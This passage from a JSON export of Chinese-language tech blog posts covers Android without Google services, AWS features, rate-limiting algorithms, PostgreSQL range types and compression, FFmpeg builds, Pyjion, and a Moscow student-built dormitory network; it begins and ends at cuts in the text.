    "body": "一樣是在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上翻到的，去 <a href=\"https://www.google.com/\">Google</a> 服務的 <a href=\"https://www.android.com/\">Android</a> 系統搞法：「<a href=\"https://battlepenguin.com/tech/lineage-with-microg-on-a-sony-xa2/\">Lineage with microG on a Sony XA2</a>」。\r\n\r\n主要是看關鍵字的部份，<a href=\"https://twrp.me/\">TWRP</a> 換掉 recovery image，然後 <a href=\"https://lineageos.org/\">LineageOS</a> 是系統底，<a href=\"https://microg.org/\">microG</a> 是 open source 版本的 Google 專屬 API 的相容層，<a href=\"https://magisk.me/\">Magisk</a> 則是負責 root 相關的事情，<a href=\"https://f-droid.org/\">F-Droid</a> 是 open source 軟體的 app store，可以用他來裝 <a href=\"https://f-droid.org/en/packages/com.aurora.store/\">Aurora Store</a>，就可以裝 <a href=\"https://play.google.com/store\">Play Store</a> 裡的 app。\r\n\r\n會這樣搞的人主要還是考慮到 privacy，可以預期有不少應用程式是不會動的...",
    "title": "不使用 Google 服務的 Android 手機"
  },
  {
    "id": "10399",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 auto scaling 有新花樣：「<a href=\"https://aws.amazon.com/blogs/aws/new-attribute-based-instance-type-selection-for-ec2-auto-scaling-and-ec2-fleet/\">New – Attribute-Based Instance Type Selection for EC2 Auto Scaling and EC2 Fleet</a>」。\r\n\r\n你都有 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 了，就不能整合 Lambda 每分鐘跑一次，讓使用者直接用個 <a href=\"https://en.wikipedia.org/wiki/Turing_completeness\">turing complete</a> 的方式自己設計要的 policy 嗎... 會用到 auto scaling 的使用者不會在意 Lambda 的那幾毛錢的。\r\n\r\n這樣做對 <a href=\"https://en.wikipedia.org/wiki/OKR\">OKR</a> 是比較好沒錯啦，但用的人已經懶的看了...",
    "title": "Auto Scaling 就不能綁個 Lambda 嗎..."
  },
  {
    "id": "10401",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上看到這篇 2017 年的文章，<a href=\"https://www.figma.com/\">Figma</a> 的工程師講怎麼做 rate limit：「<a href=\"https://www.figma.com/blog/an-alternative-approach-to-rate-limiting/\">An alternative approach to rate limiting</a>」，只要大一點的站台就會遇到 spammer 之類的攻擊，就會希望實做自動化的機制擋住 spammer。\r\n\r\n文章裡面提到了三種方式，第一種 (類) 提到了經典的 <a href=\"https://en.wikipedia.org/wiki/Token_bucket\">Token bucket</a> 與 <a href=\"https://en.wikipedia.org/wiki/Leaky_bucket\">Leaky bucket</a>，這邊文章提供的演算法是讓每個使用者都會有一筆資料紀錄在 <a href=\"https://redis.io/\">Redis</a> 裡面 (這邊的用法可以抽換換成 <a href=\"https://www.memcached.org/\">Memcached</a>)，裡面記錄了最後一次的 access time 以及還剩下多少 token 可以用，接下來就可以照時間計算 token 的補充與消耗：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KqH7o0o.webp\" /><img src=\"https://i.gslin.com/imgur/KqH7o0o.png\" alt=\"\" /></picture>\r\n\r\n但這個演算法的缺點是 race condition，需要另外設計一些機制確保操作的 atomic：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CtjtqdK.webp\" /><img src=\"https://i.gslin.com/imgur/CtjtqdK.png\" alt=\"\" /></picture>\r\n\r\n不過大多數的實做就算不管 atomic 也還行 OK，只是會比較不精確一點。\r\n\r\n第二個方法他叫做 Fixed window counters，這個方法把時間切齊為單位 (像是 60 秒為一個 window)，所以可以把起點的時間也放到 key 裡面，然後 value 就是數量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HkdNYW2.webp\" /><img src=\"https://i.gslin.com/imgur/HkdNYW2.png\" alt=\"\" /></picture>\r\n\r\n這個作法的好處就是簡單，而且 Redis 與 Memcached 都有提供 atomic 的 +1 操作。但缺點是可能會發生兩倍以上的 request，像是 5 reqs/min 的限制有可能會有連續的一分鐘內達到 10 reqs/min：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qPOpSMT.webp\" /><img src=\"https://i.gslin.com/imgur/qPOpSMT.png\" alt=\"\" /></picture>\r\n\r\n不過我覺得就 antispam 來說算是夠用了，當年 (大概是 2007 或是 2008 年？) 在 <a href=\"https://www.pixnet.net/\">PIXNET</a> 時用 C 寫 <a href=\"https://httpd.apache.org/modules/\">Apache module</a> 就是把資料丟到 Memcached 裡面就是這樣實做的，然後每次學術網路的實驗室跑來掃站的就會自動被擋 XDDD\r\n\r\n第三種方式他們稱作 Sliding window log，就是把每個 request 的 timestamp 都存起來，這個部份用 Redis 的資料結構會比用 Memcached 方便一些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uVl1UQE.webp\" /><img src=\"https://i.gslin.com/imgur/uVl1UQE.png\" alt=\"\" /></picture>\r\n\r\n這個方式在控制上更精確，不過空間成本上就高很多... 這樣算是把常見的實做方式都提到了。",
    "title": "限制流量的方式 (rate limit)"
  },
  {
    "id": "10402",
    "body": "看到「<a href=\"https://aws.amazon.com/blogs/aws/goodbye-microsoft-sql-server-hello-babelfish/\">Goodbye Microsoft SQL Server, Hello Babelfish</a>」這篇，<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> (PostgreSQL) 推出了可以吃 <a href=\"https://en.wikipedia.org/wiki/Microsoft_SQL_Server\">Microsoft SQL Server</a> 協定的 <a href=\"https://www.babelfishpg.org/\">Babelfish</a>：\r\n\r\n<blockquote>Today, we are making Babelfish for Aurora PostgreSQL available. Babelfish allows Amazon Aurora PostgreSQL-Compatible Edition to understand the SQL Server wire protocol.</blockquote>\r\n\r\n查了一下資料發現是去年年底的時候發表的：「<a href=\"https://aws.amazon.com/blogs/opensource/want-more-postgresql-you-just-might-like-babelfish/\">Want more PostgreSQL? You just might like Babelfish</a>」，不過當時沒注意到這東西，大概是因為是 preview 的關係：\r\n\r\n<blockquote>We are open sourcing Babelfish in 2021. Until then, you can use Babelfish on Amazon Aurora in a preview to see how it works and to get a sense for whether this is the right approach for you.</blockquote>\r\n\r\n用起來不知道怎樣，但感覺很值得注意，目前雖然沒用到 Microsoft SQL Server 的東西，但以後遇到可以考慮看看...\r\n\r\n除了在 AWS 上用以外，也可以自己到 <a href=\"https://github.com/\">GitHub</a> 上拉 patch 回來上：「<a href=\"https://github.com/babelfish-for-postgresql\">babelfish-for-postgresql</a>」。\r\n\r\n話說回來，<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 被 AWS 拿來用在好多地方啊，先前大家也猜是 <a href=\"https://aws.amazon.com/documentdb/\">DocumentDB</a> 後面是 PostgreSQL (參考「<a href=\"https://blog.gslin.org/archives/2019/01/17/8678/%E5%A4%A7%E5%AE%B6%E5%9C%A8%E7%8C%9C-amazon-documentdb-%E7%9A%84%E5%BA%95%E5%B1%A4%E6%98%AF%E4%B8%8D%E6%98%AF-postgresql/\">大家在猜 Amazon DocumentDB 的底層是不是 PostgreSQL...</a>」這篇)，不知道之後會不會想要跟 <a href=\"https://www.oracle.com/\">Oracle</a> 的律師打架...",
    "title": "Babelfish：讓 PostgreSQL 可以吃 Microsoft SQL Server 的協定"
  },
  {
    "id": "10403",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到這則障礙資料：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">因 APG 海纜障礙影響 HiNet 客戶連線美國、中國及香港部份網站之連線品質<br>? 2021-10-30~2021-11-30, 2021-10-30 10:00AM<br><br>2021 年 10 月 30 日發生 APG 海纜障礙，客戶連線美國、中國及香港部份網站可能造成部分連線有少許延遲現象。<a href=\"https://t.co/bBapFA47He\">https://t.co/bBapFA47He</a></p>&mdash; HiNet 網站公告 (@HiNetNotify) <a href=\"https://twitter.com/HiNetNotify/status/1454293255793692674?ref_src=twsrc%5Etfw\">October 30, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nAPG (<a href=\"https://en.wikipedia.org/wiki/Asia_Pacific_Gateway\">Asia Pacific Gateway</a>) 在 2016 年啟用，還算是新的海纜，看起來會有不少頻寬受到影響... 這點在 <a href=\"https://www.hinet.net/\">HiNet</a> 上用 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 監控對 <code>dynamodb.ap-southeast-1.amazonaws.com</code> 的 packet loss 就很明顯的可以看出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X2JFqDv.webp\" /><img src=\"https://i.gslin.com/imgur/X2JFqDv.png\" alt=\"\" /></picture>\r\n\r\n連過去封包掉的亂七八糟的，然後公司做東南亞生意，操作起來苦哈哈... 不過其他 ISP 看起來還行，應該有機會先繞過去。",
    "title": "看起來這個月 HiNet 連外大概會不怎麼順..."
  },
  {
    "id": "10404",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.mangodb.io/\">A truly Open Source MongoDB alternative</a>」這個東西，在「<a href=\"https://news.ycombinator.com/item?id=29071623\">MangoDB: An open-source MongoDB alternative (mangodb.io)</a>」的討論也可以翻一翻。\r\n\r\n<a href=\"https://www.mongodb.com/\">MongoDB</a> 最主要的問題就是 4.0 以及以後的版本變成 <a href=\"https://en.wikipedia.org/wiki/Server_Side_Public_License\">SSPL</a> 後就不是 open source license 了。\r\n\r\n而 MangoDB 是個 Proxy service，前端提供 MongoDB 的協定，後端則是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>。\r\n\r\n在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/MangoDB-io/MangoDB\">MangoDB-io/MangoDB</a>」這邊可以看到 MangoDB 主要是用 <a href=\"https://golang.org/\">Golang</a> 寫的，軟體授權則是 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License 2.0</a>。\r\n\r\n<blockquote>The core of our solution is a stateless proxy, which converts MongoDB protocol queries to SQL, and uses PostgreSQL as a database engine. This will be compatible with MongoDB drivers, and should work as a drop-in replacement to MongoDB in many cases.</blockquote>\r\n\r\n這對於只有提供 MongoDB 當儲存層的軟體來說會是個替代方案。不過如果是自己開發的話，這其實也證明了可以直接用 PostgreSQL，基本上 MongoDB 的功能都可以在 PostgreSQL 上找到方案。\r\n\r\n話說這個讓我想到 2019 年 <a href=\"https://aws.amazon.com/\">AWS</a> 推出 <a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 的時候，大家都一直在猜 Amazon DocumentDB 是不是拿 PostgreSQL 前面加上一些東西 (參考「<a href=\"https://blog.gslin.org/archives/2019/01/17/8678/%E5%A4%A7%E5%AE%B6%E5%9C%A8%E7%8C%9C-amazon-documentdb-%E7%9A%84%E5%BA%95%E5%B1%A4%E6%98%AF%E4%B8%8D%E6%98%AF-postgresql/\">大家在猜 Amazon DocumentDB 的底層是不是 PostgreSQL...</a>」)，後來也有人發現再更早之前就有人 PoC 過了：「<a href=\"https://news.ycombinator.com/item?id=9407163\">A proof of concept MongoDB clone built on Postgres (github.com/jerrysievert)</a>」，現在一般的公認應該就是，只是 AWS 沒有 open source 出來。\r\n\r\n目前 MangoDB 還在早期的階段，但看起來這波應該會有一些能量進去幫忙...",
    "title": "MangoDB：拿 PostgreSQL 當作後端的 MongoDB 相容層"
  },
  {
    "id": "10405",
    "body": "看到 <a href=\"https://simonwillison.net/\">Simon Willison</a> 的「<a href=\"https://simonwillison.net/2021/Nov/3/s3-credentials/\">s3-credentials: a tool for creating credentials for S3 buckets</a>」這篇，裡面講到了幾件事情。\r\n\r\n在 <a href=\"https://aws.amazon.com/\">AWS</a> 上比較好的安全設計是，不同專案之間都有自己的 <a href=\"https://aws.amazon.com/s3/\">S3</a> bucket，然後建立對應的 <a href=\"https://aws.amazon.com/iam/\">IAM</a> user，每個 IAM user 只能存取自己的 S3 bucket。\r\n\r\n但這個建立過程很煩：\r\n\r\n<blockquote>Creating those credentials is surprisingly difficult!</blockquote>\r\n\r\n整個建立的過程包括了四個步驟：\r\n\r\n<ol>\r\n\t<li>建立 S3 bucket。</li>\r\n\t<li>建立 IAM user。</li>\r\n\t<li>將 IAM user 掛上對應的 S3 權限。</li>\r\n\t<li>建立 IAM user 的 access key。</li>\r\n</ol>\r\n\r\n讓人煩的主要是第三個，那個 JSON format 每次都要翻資料 XD\r\n\r\n所以他寫了 <a href=\"https://github.com/simonw/s3-credentials\">s3-credentials</a> 這個套件讓大家用，可以透過 <a href=\"https://pypi.org/project/pip/\">pip</a> 直接安裝起來用。\r\n\r\n不過我是偏好用 <a href=\"https://aws.amazon.com/cli/\">awscli</a> 的，直接把指令放在 wiki page 上面：「<a href=\"https://wiki.gslin.org/wiki/Awscli\">awscli</a>」，需要的時候就 copy &amp; paste 過來執行就可以了。在公司的 wiki 上還有直接把 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 生到對應的 subnet 指令可以用...\r\n\r\n這東西大概不會簡化，只能大家自己找出路 XD",
    "title": "開 S3 bucket 與 IAM 帳號的工具"
  },
  {
    "id": "10406",
    "body": "這兩天的 Hacker News 冒出一些討論在講 Web 上「防機器人」機制要怎麼繞過：\r\n\r\n<ul>\r\n\t<li><a href=\"https://github.com/niespodd/browser-fingerprinting\">Avoiding bot detection: How to scrape the web without getting blocked?</a></li>\r\n\t<li><a href=\"https://incolumitas.com/2021/11/03/so-you-want-to-scrape-like-the-big-boys/\">So you want to Scrape like the Big Boys?</a></li>\r\n</ul>\r\n\r\n第一篇主要是從各種面向都一起討論，從大方向的分類討論 (「Where to begin building undetectable bot?」)，另外介紹目前有哪些產品 (在「List of anti-bot software providers」這邊)。\r\n\r\n在文章裡有提到一個有意思的工具「<a href=\"https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth\">puppeteer-extra-plugin-stealth</a>」，主要是在 <a href=\"https://nodejs.org/\">Node.js</a> 類的環境，查了一下在 <a href=\"https://www.python.org/\">Python</a> 上也有 <a href=\"https://pypi.org/project/pyppeteer-stealth/\">pyppeteer-stealth</a>，不過 Python 版本直接講了不完美 XDDD\r\n\r\n<blockquote>Transplanted from puppeteer-extra-plugin-stealth, Not perfect.</blockquote>\r\n\r\n第二篇文章在開頭就提到他不是很愛 Proxy，因為 Proxy 很容易偵測。在文章最後面則是提到了兩個方案，第一個是用大量便宜的 <a href=\"https://www.android.com/\">Android</a> 手機加上 Data SIM 來跑，另外一個是直接用 Android 模擬器加上 4G 網卡跑。\r\n\r\n依照這些想法，好像可以來改善一下手上的 RSS 工具...",
    "title": "繞過 Web 上「防機器人」機制的資料"
  },
  {
    "id": "10407",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2021/09/01/10299/%E5%8D%97%E9%9F%93%E5%B0%8D-apple-%E8%88%87-google-%E7%9A%84-in-app-%E4%BB%98%E6%AC%BE%E6%A9%9F%E5%88%B6%E7%9A%84%E6%8F%90%E6%A1%88/\">南韓對 Apple 與 Google 的 In-App 付款機制的提案</a>」這邊提到南韓的法案將會強迫 <a href=\"https://www.apple.com/\">Apple</a> 與 <a href=\"https://www.google.com/\">Google</a> 開放 IAP 的通路，前幾天 Google 正式發出公告會支援其他通路了：「<a href=\"https://developers-kr.googleblog.com/2021/11/enabling-alternative-billing-in-korea-en.html\">Enabling alternative billing systems for users in South Korea</a>」。\r\n\r\n不免俗的，還是會放話說一些 <a href=\"https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt\">FUD</a>：\r\n\r\n<blockquote>Alternative billing systems may not offer the same protections or payment options and features of Google Play's billing system—such as parental controls, family payment methods, subscription management, Google Play gift cards, and Play Points.</blockquote>\r\n\r\n然後拖一下時間，說正在開發這些功能中：\r\n\r\n<blockquote>In the coming weeks and months, we will share implementation details for developers, including instructions for submitting security and customer service verifications and a set of user experience guidelines so users can make an informed choice.</blockquote>\r\n\r\n但這應該是第一個強制開放的市場？來等後續 payment gateway 給的數字...",
    "title": "Google 在南韓開放 app 裡面使用其他付款機制了"
  },
  {
    "id": "10408",
    "body": "前幾天看到 <a href=\"https://github.com/waydabber/BetterDummy\">BetterDummy</a> 這個專案，作者在 M1 上面外接 24\" 1440p 的螢幕，但沒辦法啟用 HiDPI，於是就寫了一個軟體來解：\r\n\r\n<blockquote>M1 macs tend to have issues with custom resolutions. Notoriously they don't allow sub-4K resolution displays to have HiDPI (\"Retina\") resolutions even though (for example) a 24\" QHD 1440p display would greatly benefit from having an 1920x1080 HiDPI \"Retina\" mode.</blockquote>\r\n\r\n在這之前的解法都有些麻煩，一種是買個 dummy dongle 去騙 <a href=\"https://www.apple.com/macos/\">macOS</a>，另外是用 mirror 的方式使用：\r\n\r\n<blockquote>To fix this issue, some resort to buying a 4K HDMI dummy dongle to fool macOS into thinking that a 4K display is connected and then mirror the contents of this dummy display to their actual monitor in order to have HiDPI resolutions available. Others use the built in screens of their MacBooks to mirror to the external display. These approaches have obvious drawbacks and cannot solve all problems.</blockquote>\r\n\r\n作者提供的軟體可以先建立 Dummy Monitor，然後再透過 mirror 掛到實際螢幕上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MEesrpm.webp\" /><img src=\"https://i.gslin.com/imgur/MEesrpm.png\" alt=\"\" /></picture>\r\n\r\n不確定用起來如何，但如果之後有需要的話好像可以測試看看...",
    "title": "在非 4K 的螢幕上跑 HiDPI"
  },
  {
    "id": "10409",
    "body": "目前有丟出來的 <a href=\"https://en.wikipedia.org/wiki/FFmpeg\">FFmpeg</a> 執行包都會因為軟體授權不相容的問題，沒辦法把想要的東西都包進去 (或者無視授權丟出來 XD)，但反正看一看沒看到適合的，所以弄了一天包了一包出來。另外也是因為同樣理由，這邊也只能提供步驟讓大家自己編...\r\n\r\n我的主力放在 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> 與 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a> 的支援上，步驟就寫在「<a href=\"https://wiki.gslin.org/wiki/FFmpeg\">FFmpeg</a>」這邊了，裡面是先開了一個 Docker container 再去裝環境，接著再把會用到的 source code 用 git clone 拉下來再固定版本，所以應該是不會有太大的意外。\r\n\r\n另外可以看到 libfdk-aac 與 <a href=\"https://www.videolan.org/developers/x264.html\">libx264</a> 兩包我就直接拉系統的套件來包，主要是查了一下版本還算堪用，而且也不是主力要處理的東西，就不想要再自己拉下來編了。\r\n\r\n這邊就是整理一下感想...\r\n\r\n首先是 <a href=\"https://www.rust-lang.org/\">Rust</a> 一直在推新功能，然後各家的軟體也幾乎就是馬上跳進去用這些新功能，所以只能用 <a href=\"https://rustup.rs/\">rustup</a> 跟到最新版的 Rustc 去編 <a href=\"https://github.com/xiph/rav1e\">rav1e</a>。\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/X265\">x265</a> 搞不定 static compile 的問題，卡在沒有 <code>libgcc_s.a</code> 可以用，如果還要搞 GCC 的話就太累了...\r\n\r\n這樣在 AV1 與 VP9 的支援度就比較完整了，另外內建 <a href=\"https://en.wikipedia.org/wiki/Video_Multimethod_Assessment_Fusion\">libvmaf</a> 也可以拿來分析...",
    "title": "生一個 static 版本的 ffmpeg"
  },
  {
    "id": "10411",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 14 新支援的 <a href=\"https://en.wikipedia.org/wiki/LZ4_(compression_algorithm)\">LZ4</a> 壓縮：「<a href=\"https://news.ycombinator.com/item?id=29147656\">The LZ4 introduced in PostgreSQL 14 provides faster compression (fastware.com)</a>」，在討論裡面反而有提到可以用 ZFS 的壓縮，這樣所有的資料 (包括 index) 都可以被壓縮：\r\n\r\n<blockquote>If you are using ZFS, I strongly recommend using LZ4 or ZSTD compression with PostgreSQL. Performance is still awesome. On average I get 2x compressionratio with LZ4 and 4x with ZSTD.\r\n\r\nWith this, you are compressing everything, not just columns. And ZFS has dynamic block sizes which works really great together with compression. For example a 8kb PostgreSQL page, may be stored as a 1kb compressed block on disk.</blockquote>\r\n\r\n而且通常開了壓縮後，整機的效率都會比較好。主要是因為資料庫的資料夠大時 (超過記憶體大小) 通常效能會先卡在 Disk I/O 的部份，這時候 CPU 會太閒；如果挑個輕量的壓縮演算法的話，雖然 CPU 使用率會拉高一些，但會大幅降低 Disk I/O 的量，在很多情況下就會提昇效能...\r\n\r\n上面提到主要是 OLTP 的情況下，如果是在 OLAP 的場景下就更明顯了，基本上大家都是預設開著壓縮在處理所有資料。\r\n\r\n另外在很多 RPC 類的系統也有類似的現象，資料傳輸量已經太大會超過 Network I/O 可以提供的量，這時候導入一些輕量的壓縮演算法就能大幅提昇系統效能。\r\n\r\n以前有讀到一些壓縮演算法的比較，像是先前有翻到的「<a href=\"https://www.percona.com/blog/2016/04/13/evaluating-database-compression-methods-update/\">Evaluating Database Compression Methods: Update</a>」，針對演算法的部份分析，裡面最後一張圖可以看到比較：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nW0PrPi.webp\" /><img src=\"https://i.gslin.com/imgur/nW0PrPi.png\" alt=\"\" /></picture>\r\n\r\n從比較圖可以穿來 <a href=\"https://en.wikipedia.org/wiki/Snappy\">Snappy</a> 後來被 LZ4 淘汰掉，主要就是 LZ4 的壓縮率比較好，壓與解的速度又比較快，沒有理由繼續 Snappy。\r\n\r\n另外 <a href=\"https://en.wikipedia.org/wiki/Zstandard\">Zstandard</a> 也逐步在淘汰 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 與 <a href=\"https://en.wikipedia.org/wiki/Zlib\">zlib</a> 類的壓縮，不過畢竟 gzip 與 zlib 的歷史真的太久，這邊淘汰的速度不快...",
    "title": "PostgreSQL 14 支援的 LZ4 壓縮"
  },
  {
    "id": "10413",
    "body": "發現自己根本還不熟悉 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的特性，寫一下記錄起來。\r\n\r\n產品上常常會有 coupon 與 voucher 之類的設計，這時候通常都會設定 coupon 或 voucher 的有效期間，在 <a href=\"https://dev.mysql.com/\">MySQL</a> 的環境下可能會這樣設計：\r\n\r\n<pre>\r\nCREATE TABLE coupon (\r\n  id INT UNSIGNED PRIMARY KEY AUTO_INCREMENT,\r\n  code VARCHAR(255) NOT NULL,\r\n  started_at INT UNSIGNED NOT NULL,\r\n  ended_at INT UNSIGNED NOT NULL\r\n);\r\n</pre>\r\n\r\n另外是設計 index 的部份，在產品推出夠久後，通常是過期的 coupon 或 voucher 會比目前還有效的多，而還沒生效的 coupon 與 voucher 通常都不多，所以會設計成對 <code>ended_at</code> 放一組 B-tree index：\r\n\r\n<pre>\r\nCREATE INDEX ON t1 (ended_at);\r\n</pre>\r\n\r\n這個設計不算差，不過用了一些假設。\r\n\r\n如果不想要用這些假設，可以改用 Spatial 的資料型態去模擬並且加上 index (使用到 <a href=\"https://dev.mysql.com/doc/refman/8.0/en/gis-class-linestring.html\">LineString Class</a>)，這樣就直接對 <code>a &lt; x &lt; b</code> 這類查詢更有效率，不過缺點就是可讀性會比較差。\r\n\r\n在 PostgreSQL 這邊就有更清晰的資料結構來處理這些事情，主要是有一般性的 <code>int4range</code> 與 <code>int8range</code> 以及時間類的 <code>tsrange</code>、<code>tstzrange</code> 與 <code>daterange</code> (參考「<a href=\"https://www.postgresql.org/docs/current/rangetypes.html\">Range Types</a>」這邊有更多資料型態)，所以會變成：\r\n\r\n<pre>\r\nCREATE TABLE coupon (\r\n  id INT GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,\r\n  code VARCHAR NOT NULL,\r\n  active_at INT4RANGE NOT NULL\r\n);\r\n</pre>\r\n\r\n然後用 GIST 建立 index：\r\n\r\n<pre>\r\nCREATE INDEX ON t1 USING GIST(active_at);\r\n</pre>\r\n\r\n後續的 query 語法就用 <code>&lt;@</code> 的語法：\r\n\r\n<pre>\r\nSELECT COUNT(*) FROM coupon WHERE 10000 &lt;@ active_at;\r\n</pre>\r\n\r\n塞了 10M 筆資料後的 table 可以看到本來需要的時間是：\r\n\r\n<pre>\r\nTime: 779.542 ms\r\n</pre>\r\n\r\n變成：\r\n\r\n<pre>\r\nTime: 5.510 ms\r\n</pre>\r\n\r\n不過缺點就是 <a href=\"https://www.sqlite.org/\">SQLite</a> 沒支援這些資料型態，對於 test case 就一定得跑個 PostgreSQL 起來測...",
    "title": "用 PostgreSQL 的 int4range 與 GiST"
  },
  {
    "id": "10414",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=29159545\">Pyjion – A Python JIT Compiler (trypyjion.com)</a>」這個專案，也是一個想要透過 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 加速 <a href=\"https://www.python.org/\">Python</a> 的專案：\r\n\r\n<blockquote>Pyjion is a drop-in JIT Compiler for Python 3.10. It can be pip installed into a CPython 3.10 installation on Linux, Mac OS X, or Windows.</blockquote>\r\n\r\n看了一下是從微軟的 <a href=\"https://github.com/microsoft/Pyjion\">Pyjion</a> 專案 fork 出來的，原來的專案最後一次 commit 是一年前，而且專案也已經標示為 archived (read-only mode)，但有留下轉移的說明，也就是上面提到的專案：\r\n\r\n<blockquote>Development has moved to https://github.com/tonybaloney/Pyjion</blockquote>\r\n\r\n可以看到大部分的效能都已經進入改善階段 (很多導入 JIT 的專案在初期時會先變慢)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yexYZZM.webp\" /><img src=\"https://i.gslin.com/imgur/yexYZZM.png\" alt=\"\" /></picture>\r\n\r\n跟其他的 JIT 方案相比，Pyjion 的目標是高度相容現有 Python 的程式，包括各種 extension，這點的確是在用 <a href=\"https://www.pypy.org/\">PyPy</a> 這些軟體時的痛點沒錯...\r\n\r\n看起來透過 <a href=\"https://pip.pypa.io/\">pip</a> 裝好後就可以直接 import 進來用，後續就會生效：\r\n\r\n<pre>import pyjion; pyjion.enable()</pre>\r\n\r\n另外提一下，翻 Hacker News 留言的時候翻到這個害我笑出來，有夠新 XD\r\n\r\n<blockquote>zatarc 3 days ago | unvote | prev | next [–]\r\n\r\nPyjion requires: CPython 3.10 and .NET 6\r\n\r\n.NET 6 Release: 19 hours ago (https://github.com/dotnet/core/blob/main/release-notes/6.0/6...)\r\n\r\n... ok.</blockquote>",
    "title": "Fork 自微軟的 Pyjion 專案的 Python 3.10 + JIT 方案"
  },
  {
    "id": "10417",
    "body": "在 <a href=\"https://lobsters-daily.reight.io/\">Lobster Daily</a> 看到「<a href=\"https://medium.com/@pv.safronov/moscow-state-university-network-built-by-students-211539855cf9\">Moscow state university network built by students</a>」這篇，不過 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論多一點：「<a href=\"https://news.ycombinator.com/item?id=29135056\">“Illegal” Moscow state university network built by students (2002-2013) (medium.com/pv.safronov)</a>」。\r\n\r\n莫斯科大學宿舍網路的故事，發生在 2002 年到 2013 年之間：\r\n\r\n<blockquote>They had built a network on their own, which provided students Internet connection from 2002 till 2013 (when the administration effectively legalized this network).</blockquote>\r\n\r\n算是老人懷舊的故事，不過看起來作者留下了大量的照片看起來就更有趣了...\r\n\r\n查了一下資料，交大應該是 <del>1993 年</del> 1992 年就開始有宿舍網路了 <del>(可能更早？)</del>，而且是校方用同軸電纜 (<a href=\"https://en.wikipedia.org/wiki/Coaxial_cable\">Coaxial cable</a>) 拉的，後來經過更新也換到雙絞線了 (UTP，<a href=\"https://en.wikipedia.org/wiki/Twisted_pair\">Twisted pair</a>)，現在應該是 1Gbps 的頻寬，不過不知道建築物之間是怎麼放的了。(大概還是光纖，依照集縮比應該是跑 10Gbps 的協定，S 系列的那幾個可能距離都太短，大概是 L 的吧，不知道是幾對...)\r\n\r\n首先這是個橫跨整個主建築物的網路建制，分成五個大區塊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GXmhY7C.webp\" /><img src=\"https://i.gslin.com/imgur/GXmhY7C.png\" alt=\"\" /></picture>\r\n\r\n從 <a href=\"https://maps.google.com/\">Google Maps</a> 拉一下距離，光是兩端的直線距離就快要 0.5km 了，應該沒找錯建築物，看起來是這棟沒錯...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PoBJ9Zs.webp\" /><img src=\"https://i.gslin.com/imgur/PoBJ9Zs.png\" alt=\"\" /></picture>\r\n\r\n從作者提供的圖片也可以看出來建築物本身超大：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mhzbXu8.webp\" /><img src=\"https://i.gslin.com/imgur/mhzbXu8.jpg\" alt=\"\" /></picture>\r\n\r\n回到網路的部份，本來是用 10Mbps 的 <a href=\"https://en.wikipedia.org/wiki/Ethernet_hub\">Hub</a> 接 (算是 2002 年比較好取得的網路設備？)，但因為是 Hub 所以頻寬使用率不高 (<a href=\"https://en.wikipedia.org/wiki/Collision_domain\">Collision domain</a> 的效率下降)，換成 <a href=\"https://en.wikipedia.org/wiki/Network_switch\">Switch</a> 後降低了很多不必要的流量：\r\n\r\n<blockquote>In the beginning, there were only 10 Mbps hubs available. They were extremely slow because the packet arriving at one port was mirrored to all other ports, flooding the network with unnecessary traffic. Later they were replaced by L2 switches, that are smart enough to choose the destination port for the packet.</blockquote>\r\n\r\n但宿舍網路是有競爭對手的，兩邊常常破壞對方 XDDD\r\n\r\n<blockquote>Having two competing networks was a cherry on the 